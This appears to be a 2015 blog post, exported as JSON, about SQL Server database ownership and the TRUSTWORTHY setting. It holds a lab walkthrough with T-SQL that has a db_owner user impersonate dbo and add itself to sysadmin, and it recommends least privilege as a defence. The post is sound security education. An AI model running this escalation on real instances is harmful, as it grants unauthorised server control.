{"id":28,"date":"2015-09-13T12:12:50","date_gmt":"2015-09-13T11:12:50","guid":{"rendered":"https:\/\/sqldoubleg.live-website.com\/?p=28"},"modified":"2015-10-20T20:58:11","modified_gmt":"2015-10-20T19:58:11","slug":"database-ownership-and-trustworthy","status":"publish","type":"post","link":"https:\/\/www.sqldoubleg.com\/es\/2015\/09\/13\/database-ownership-and-trustworthy\/","title":{"rendered":"Database ownership and TRUSTWORTHY"},"content":{"rendered":"

Revisiting the old topic of database ownership to highlight how can compromise the security of the whole instance *First Published @ sqlservercentral.com<\/a>\u00a0(2015\/01\/29)<\/em><\/p>\n

Recently I have come across to an old topic relating to SQL Server security, more precisely to database ownership. I think it is worth revisiting this topic to highlight how an elevated privileges account combined to a trust relationship for a database can compromise the security of the whole instance.<\/p>\n

The Microsoft SQL Server 2012 Security Best Practices White Paper (Available for downloading here<\/a>) warns people of the possibility of opening an \u201cElevation of Privilege path from DBO to sysadmin<\/em>\u201d when establishing a \u201ctrust relationship<\/em>\u201d with a database.<\/p>\n

At the same time, although the white paper always recommends choosing accounts following the least privileges principle, some people recommend as \u201csecurity best practice\u201d<\/em> to make [sa] owner of every database within an instance. They fail to mention the risks of combining this ownership with a trust relationship on a database.<\/p>\n

That can be acceptable for consistency in some environments or to make your life easier in case you want to delete the user who owns the database, but if we are strictly speaking of security best practices, it is just not true.<\/p>\n

 <\/p>\n

TRUSTWORTHY <\/u><\/strong><\/p>\n

 <\/p>\n

TRUSTWORTHY database property was first introduced in SQL Server 2005 as an additional security measurement for some new features which were also released back then, EXECUTE AS and CLR assemblies.<\/p>\n

As per BOL<\/a>, \u201cThe TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database and the contents within\u201d<\/p>\n

Also in BOL<\/a> we can read that when TRUSTWORTHY is ON for a database, \u201cDatabase modules (for example, user-defined functions or stored procedures) that use an impersonation context can access resources outside the database\u201d. I would say not only modules, any script using impersonation can take advantage of this trust relationship and make SQL Server to believe that the impersonated user is legitimate, therefore it would pass any security check carried out by the instance.<\/p>\n

In other words, when TRUSTWORTHY is OFF (which is the value all databases are created and cannot be changed for [model] database), impersonated users (using EXECUTE AS) will be limited to their database-scope, and server-scoped permissions will be denied, but once TRUSTWORTHY is ON, this limitation is removed and impersonated users from the trusted database will be allowed to perform actions outside of their database, where obviously they must comply to the target scope\u2019s permissions (other database or server-scope).<\/p>\n

This is not a risk by itself, it\u2019s just the mechanism we have to allow impersonated users to access resources outside of their natural security context, but it\u2019s the combination of this trust with a high privilege database ownership what can put your instance in serious danger.<\/p>\n

Members of the [db_owner] fixed database role have implied permission to IMPERSONATE any user within the database, hence they can also impersonate the owner of the database by impersonating [dbo].<\/p>\n

You can imagine how critical this is if we have made [sa] owner of the database, because even if we have disabled it, as the attack comes from inside the instance, that will not stop it (If [sa] is disabled, we will not be able to connect to our instance using it, but our malicious connection is made by another [legitimate] user).<\/p>\n

I have prepared a very simple lab to actually see in action what most DBAs have read many times, but maybe some have not had the chance to put it in practice.<\/p>\n

 <\/p>\n

Disclaimer: Like any other lab, this is for training purposes, NOT to be run in PRODUCTION and comes with no guarantee or legal liability.<\/u><\/strong><\/p>\n

Create the environment<\/u><\/strong><\/p>\n

 <\/p>\n

In my case I have a freshly installed new instance named \u201clocalhost\\MSSQL2014\u201d, where I\u2019m member of the [sysadmin] fixed server role, and I restored copies of the sample databases [AdventureWorks2014] and [AdventureWorksDW2014]<\/p>\n

Sample Databases can be downloaded from here<\/a><\/p>\n

To restore the databases into your instance you can use this code, backup files are in the default Backup folder and data and log files would go to the default DATA folder (please customize these paths to match your current configuration)<\/p>\n

 <\/p>\n

\r\n-- restore sample databases\r\nUSE [master]\r\nGO\r\nRESTORE DATABASE [AdventureWorks2014]\r\n\tFROM DISK = 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\Backup\\AdventureWorks2014.bak'\r\n\tWITH RECOVERY\r\n\t, MOVE 'AdventureWorks2014_Data' TO 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\DATA\\AdventureWorks2014_Data.mdf'\r\n\t, MOVE 'AdventureWorks2014_Log' TO 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\DATA\\AdventureWorks2014_Log.ldf'\r\nGO\r\nRESTORE DATABASE [AdventureWorksDW2014]\r\n\tFROM DISK = 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\Backup\\AdventureWorksDW2014.bak'\r\n\tWITH RECOVERY\t\t\r\n\t, MOVE 'AdventureWorksDW2014_Data' TO 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\DATA\\AdventureWorksDW2014_Data.mdf'\r\n\t, MOVE 'AdventureWorksDW2014_Log' TO 'C:\\Program Files\\Microsoft SQL Server\\MSSQL12.MSSQL2014\\MSSQL\\DATA\\AdventureWorksDW2014_Log.ldf'\r\nGO\r\n<\/pre>\n
 <\/p>\n
By default we are owners of these databases once they are restored, we can check it by querying<\/p>\n
\n
 <\/p>\n
\r\n-- check databases ownership\r\nUSE [master]\r\nGO\r\nSELECT name AS database_name\r\n\t\t, SUSER_SNAME(owner_sid) AS database_owner\r\n\t\t, is_trustworthy_on\r\n\tFROM sys.databases\r\nGO\t\r\n<\/pre>\n
 <\/p>\n
Now we\u2019ll follow the common advice of making [sa] the owner of our databases. We can also disable [sa] before making the change.<\/p>\n
 <\/p>\n
\r\n-- disable [sa] and change database owner for sample databases\r\nUSE [master]\r\nGO\r\nALTER LOGIN [sa] DISABLE\r\nGO\r\nALTER AUTHORIZATION ON DATABASE::[AdventureWorks2014] TO [sa]\r\nGO\r\nALTER AUTHORIZATION ON DATABASE::[AdventureWorksDW2014] TO [sa]\r\nGO\r\n<\/pre>\n
 <\/p>\n
So far so good, we can check how the settings we care about look like by running the following query<\/p>\n
 <\/p>\n
\r\n-- check databases ownership\r\nUSE [master]\r\nGO\r\nSELECT name AS database_name\r\n\t\t, SUSER_SNAME(owner_sid) AS database_owner\r\n\t\t, is_trustworthy_on\r\n\tFROM sys.databases\r\nGO\t\r\n<\/pre>\n
 <\/p>\n
Which should return something like<\/p>\n
 <\/p>\n\n\n\n\n\n\n\n\n\n
database_name<\/td>\ndatabase_owner<\/td>\nis_trustworthy_on<\/td>\n<\/tr>\n
master<\/td>\nsa<\/td>\n0<\/td>\n<\/tr>\n
tempdb<\/td>\nsa<\/td>\n0<\/td>\n<\/tr>\n
model<\/td>\nsa<\/td>\n0<\/td>\n<\/tr>\n
msdb<\/td>\nsa<\/td>\n1<\/td>\n<\/tr>\n
AdventureWorks2014<\/td>\nsa<\/td>\n0<\/td>\n<\/tr>\n
AdventureWorksDW2014<\/td>\nsa<\/td>\n0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
 <\/p>\n
Create a new login and database user <\/u><\/strong><\/p>\n
 <\/p>\n
In this example, let\u2019s say that [AdventureWorks2014] database is to be used by a user called [adw_dbo] which should be able to perform all tasks within the database. To do this we create the login and database user and make it a member of the [db_owner] fixed database role<\/p>\n
 <\/p>\n
\r\n-- create [adw_dbo] user\r\nUSE [master]\r\nGO\r\nCREATE LOGIN [adw_dbo] WITH PASSWORD = 'StrongPassword123', DEFAULT_DATABASE = [AdventureWorks2014]\r\nGO\r\nUSE [AdventureWorks2014]\r\nGO\r\nCREATE USER [adw_dbo] FROM LOGIN [adw_dbo] \r\nGO\r\nALTER ROLE [db_owner] ADD MEMBER [adw_dbo] \r\nGO\r\n<\/pre>\n
 <\/p>\n
First privilege escalation attempt<\/u><\/strong><\/p>\n
 <\/p>\n
To attempt to get elevated privileges, our user [adw_dbo] will impersonate the owner of the database ([sa]), and then try to perform actions that [sa] would be able to do outside of the database-scope.<\/p>\n
We will see that although the impersonation is successful, no privilege escalation can be made as impersonated users from our database (that includes [sa]) are not trusted outside of their security context. So, even something as innocent as a SELECT statement, will be stopped by the instance if [sa] (impersonated by [adw_dbo]) wants to reach anything outside its database<\/p>\n
To verify it, open a new connection to your instance using the login [adw_dbo], create a new query window and run these queries.<\/p>\n
 <\/p>\n
\r\n-- First privilege escalation attempt\r\nUSE [AdventureWorks2014]\r\nGO\r\nSELECT DB_NAME(), SUSER_NAME()\r\nGO\r\nEXECUTE AS USER = 'dbo'\r\nGO\r\nSELECT DB_NAME(), SUSER_NAME()\r\nGO\r\nSELECT * FROM [AdventureWorksDW2014].[dbo].[AdventureWorksDWBuildVersion]\r\nGO\r\n<\/pre>\n
 <\/p>\n
When trying to select from [AdventureWorksDW2014] we should be getting an error<\/p>\n
 <\/p>\n
\"07_first_attempt_error\"<\/p>\n
 <\/p>\n
Let\u2019s remove the impersonation<\/p>\n
 <\/p>\n
\r\n-- remove the impersonation\r\nREVERT\r\nGO\r\n<\/pre>\n
In this case, we did not have privilege escalation as impersonated users from [AdventureWorks2014] database are not trusted out of its natural security context (database), so nobody else out there actually believes we are [sa], what a pity.<\/p>\n
The problem arises if we need, for any reason, to change the trust relationship for our database. That can be due to that new stored procedure which access data from a different database and is created using WITH EXECUTE AS clause\u00a0 or we want to test\/deploy some CLR assemblies without using a certificate ignoring best practices or just \u201can accident\u201d<\/p>\n
 <\/p>\n
Second privilege escalation attempt<\/u><\/strong><\/p>\n
 <\/p>\n
In our script window running under the [sysadmin] account, execute<\/p>\n
 <\/p>\n
\r\n-- enable TRUSTWORTHY  for [AdventureWorks2014] database\r\nUSE [master]\r\nGO\r\nALTER DATABASE [AdventureWorks2014] SET TRUSTWORTHY ON \r\nGO\r\n\r\n<\/pre>\n
 <\/p>\n
Now return to the query window open for [adw_dbo] and re-execute the query below:<\/p>\n
 <\/p>\n
\r\n-- Second privilege escalation attempt\r\nUSE [AdventureWorks2014]\r\nGO\r\nSELECT DB_NAME(), SUSER_NAME()\r\nGO\r\nEXECUTE AS USER = 'dbo'\r\nGO\r\nSELECT DB_NAME(), SUSER_NAME()\r\nGO\r\nSELECT * FROM [AdventureWorksDW2014].[dbo].[AdventureWorksDWBuildVersion]\r\nGO \r\n<\/pre>\n
 <\/p>\n
This time we should be allowed to access [AdventureWorksDW2014] as the instance trusts us and truly believes we are [sa]. So from now on we can do exactly whatever [sa] can … for example making ourselves member of the [sysadmin] fixed server role!<\/p>\n
 <\/p>\n
\r\n-- ALTER SERVER ROLE -> To add a member to a fixed server role, you must be a member of that fixed server role, \r\n--\t\t\t\t\t\tor be a member of the sysadmin fixed server role.\r\nUSE [master]\r\nGO\r\nALTER SERVER ROLE [sysadmin] ADD MEMBER [adw_dbo]\r\nGO\r\n<\/pre>\n
 <\/p>\n
And we can check that the change was effective<\/p>\n
 <\/p>\n
\r\n-- Check the change was successful\r\nUSE [master]\r\nGO\r\nSELECT IS_SRVROLEMEMBER('sysadmin', 'adw_dbo') AS is_sysadmin\r\nGO\r\n<\/pre>\n
 <\/p>\n
That was really nice, wasn\u2019t it?<\/p>\n
 <\/p>\n
Conclusion<\/u><\/strong><\/p>\n
 <\/p>\n
TRUSTWORTHY is a powerful database feature documented by Microsoft and exists for a reason (if you need to access resources outside your database using impersonation or you want to avoid signing UNSAFE or EXTERNAL CLR assemblies, although this is not a best practice), but DBAs should be aware of the risks their databases can be exposed to when it is combined to a high privilege database ownership, something very common as [sa] has been recommended to be the owner of all databases along the years.<\/p>\n
You have also seen how disabling [sa] account does not help as the attack comes from inside the instance.<\/p>\n
When people give away recommendations like \u2018[sa] should be the owner of all databases in your instance\u2019<\/em>, these should also come with the \u2018side effects\u2019 list, so database professionals have all the information before taking a decision they can regret in the long (or maybe short) run<\/p>\n
As usual this is a \u2018it depends\u2019 answer, but it helps to be aware of the implications of setting [sa] as owner of all databases and not taking it as a best practice. When speaking of security, I would recommend following the principle of least privilege instead.<\/p>\n
Andreas Wolter\u2019s article gives away some very good recommendations for database ownership depending on different environments, it is worth the reading.<\/p>\n
Hope you enjoyed this (my first) article and helps you maybe to make databases a bit more secure.<\/p>\n
Special thanks to my technical reviewer Jon Fallows (@jonwolds<\/a>)<\/p>\n
 <\/p>\n
References:<\/p>\n
 <\/p>\n
SQL Server 2012 Security Best Practices White paper (Microsoft)<\/p>\n